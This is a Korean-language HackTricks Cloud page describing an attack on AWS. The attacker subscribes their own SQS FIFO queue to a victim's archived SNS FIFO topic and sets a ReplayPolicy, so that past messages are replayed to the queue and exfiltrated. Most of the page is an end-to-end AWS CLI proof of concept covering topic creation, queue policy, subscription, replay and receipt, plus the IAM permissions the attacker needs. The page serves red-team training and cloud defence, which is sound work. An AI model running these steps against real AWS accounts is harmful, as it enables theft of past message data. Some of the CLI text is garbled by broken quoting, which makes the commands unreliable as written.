SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Amazon SNS FIFO topic의 메시지 아카이빙을 악용하여 subscription ReplayPolicy를 설정함으로써 이전에 게시된 메시지들을 재생(replay)하고 attacker가 제어하는 SQS FIFO queue로 exfiltrate할 수 있음.
- 서비스: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
- 요구사항: Topic에 ArchivePolicy(메시지 아카이빙)가 활성화되어 있어야 함. Attacker가 topic에 Subscribe하고 자신의 subscription에 속성(attributes)을 설정할 수 있어야 함. Attacker는 SQS FIFO queue를 제어하고 topic이 메시지를 전송하도록 허용해야 함.
- 영향: 이전에 게시된(구현된) 히스토리 메시지들이 attacker 엔드포인트로 전달될 수 있음. 재생된 전달은 SNS envelope에
Replayed=true로 표시됨.
전제조건
- 아카이빙이 활성화된 SNS FIFO topic:
ArchivePolicy(예:{ "MessageRetentionPeriod": "2" }는 2일). - Attacker는 다음 권한을 가지고 있어야 함:
- 대상 topic에 대한
sns:Subscribe. - 생성된 subscription에 대한
sns:SetSubscriptionAttributes.
- 대상 topic에 대한
- Attacker는 SQS FIFO queue를 보유하고 있으며 topic ARN으로부터
sns:SendMessage를 허용하는 queue policy를 연결할 수 있어야 함.
최소 IAM 권한
- topic에 대해:
sns:Subscribe. - subscription에 대해:
sns:SetSubscriptionAttributes. - queue에 대해: 정책을 위한
sqs:SetQueueAttributes및 topic ARN로부터sns:SendMessage를 허용하는 queue policy.
공격: 아카이브된 메시지를 attacker SQS FIFO로 replay
Attacker는 자신의 SQS FIFO queue를 피해자 SNS FIFO topic에 구독(Subscribe)한 다음, ReplayPolicy를 보존 기간 내 과거 타임스탬프로 설정한다. SNS는 즉시 새로운 subscription에 일치하는 아카이브된 메시지들을 재생하여 전달하며, 이를 Replayed=true로 표시한다.
참고:
ReplayPolicy에 사용되는 타임스탬프는 topic의BeginningArchiveTime이상이어야 함. 더 이전이면 API는Invalid StartingPoint value오류를 반환함.- SNS FIFO에 대한
Publish시에는MessageGroupId를 지정해야 하며(그리고 dedup ID를 지정하거나ContentBasedDeduplication을 활성화해야 함).
End-to-end CLI POC (us-east-1)
```bash REGION=us-east-1 # Compute a starting point; adjust later to >= BeginningArchiveTime if needed TS_START=$(python3 - << 'PY' from datetime import datetime, timezone, timedelta print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ')) PY )1) Create SNS FIFO topic with archiving (2-day retention)
TOPIC_NAME=htreplay$(date +%s).fifo
TOPIC_ARN=$(aws sns create-topic –region “$REGION”
–cli-input-json ‘{“Name”:“’”$TOPIC_NAME“‘“,“Attributes”:{“FifoTopic”:“true”,“ContentBasedDeduplication”:“true”,“ArchivePolicy”:“{"MessageRetentionPeriod":"2"}”}}’
–query TopicArn –output text)
echo “Topic: $TOPIC_ARN”
2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
for i in $(seq 1 3); do
aws sns publish –region “$REGION” –topic-arn “$TOPIC_ARN”
–message “{"orderId":$i,"secret":"ssn-123-45-678$i"}”
–message-group-id g1 >/dev/null
done
3) Create attacker SQS FIFO queue and allow only this topic to send
Q_URL=$(aws sqs create-queue –queue-name ht-replay-exfil-q-$(date +%s).fifo
–attributes FifoQueue=true –region “$REGION” –query QueueUrl –output text)
Q_ARN=$(aws sqs get-queue-attributes –queue-url “$Q_URL” –region “$REGION”
–attribute-names QueueArn –query Attributes.QueueArn –output text)
cat > /tmp/ht-replay-sqs-policy.json <<JSON {“Version”:“2012-10-17”,“Statement”:[{“Sid”:“AllowSNSSend”,“Effect”:“Allow”,“Principal”:{“Service”:“sns.amazonaws.com”},“Action”:“sqs:SendMessage”,“Resource”:“$Q_ARN”,“Condition”:{“ArnEquals”:{“aws:SourceArn”:“$TOPIC_ARN”}}}]} JSON
Use CLI input JSON to avoid quoting issues
aws sqs set-queue-attributes –region “$REGION” –cli-input-json “$(python3 - << ‘PY’ import json, os print(json.dumps({ ‘QueueUrl’: os.environ[‘Q_URL’], ‘Attributes’: {‘Policy’: open(‘/tmp/ht-replay-sqs-policy.json’).read()} })) PY )”
4) Subscribe the queue to the topic
SUB_ARN=$(aws sns subscribe –region “$REGION” –topic-arn “$TOPIC_ARN”
–protocol sqs –notification-endpoint “$Q_ARN” –query SubscriptionArn –output text)
echo “Subscription: $SUB_ARN”
5) Ensure StartingPoint is >= BeginningArchiveTime
BEGIN=$(aws sns get-topic-attributes –region “$REGION” –topic-arn “$TOPIC_ARN” –query Attributes.BeginningArchiveTime –output text) START=${TS_START} if [ -n “$BEGIN” ]; then START=“$BEGIN”; fi
aws sns set-subscription-attributes –region “$REGION” –subscription-arn “$SUB_ARN”
–attribute-name ReplayPolicy
–attribute-value “{"PointType":"Timestamp","StartingPoint":"$START"}”
6) Receive replayed messages (note Replayed=true in the SNS envelope)
aws sqs receive-message –queue-url “$Q_URL” –region “$REGION”
–max-number-of-messages 10 –wait-time-seconds 10
–message-attribute-names All –attribute-names All
</details>
## 영향
**잠재적 영향**: 아카이빙이 활성화된 SNS FIFO 토픽에 subscribe할 수 있고 자신의 subscription에 `ReplayPolicy`를 설정할 수 있는 공격자는 이 구독이 생성된 이후에 전송된 메시지뿐만 아니라 해당 토픽에 게시된 과거 메시지를 즉시 replay하고 exfiltrate할 수 있습니다. 전달된 메시지는 SNS envelope에 `Replayed=true` 플래그를 포함합니다.
> [!TIP]
> AWS 해킹 배우기 및 연습하기:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP 해킹 배우기 및 연습하기: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure 해킹 배우기 및 연습하기: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks 지원하기</summary>
>
> - [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
> - **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
>
> </details>
HackTricks Cloud

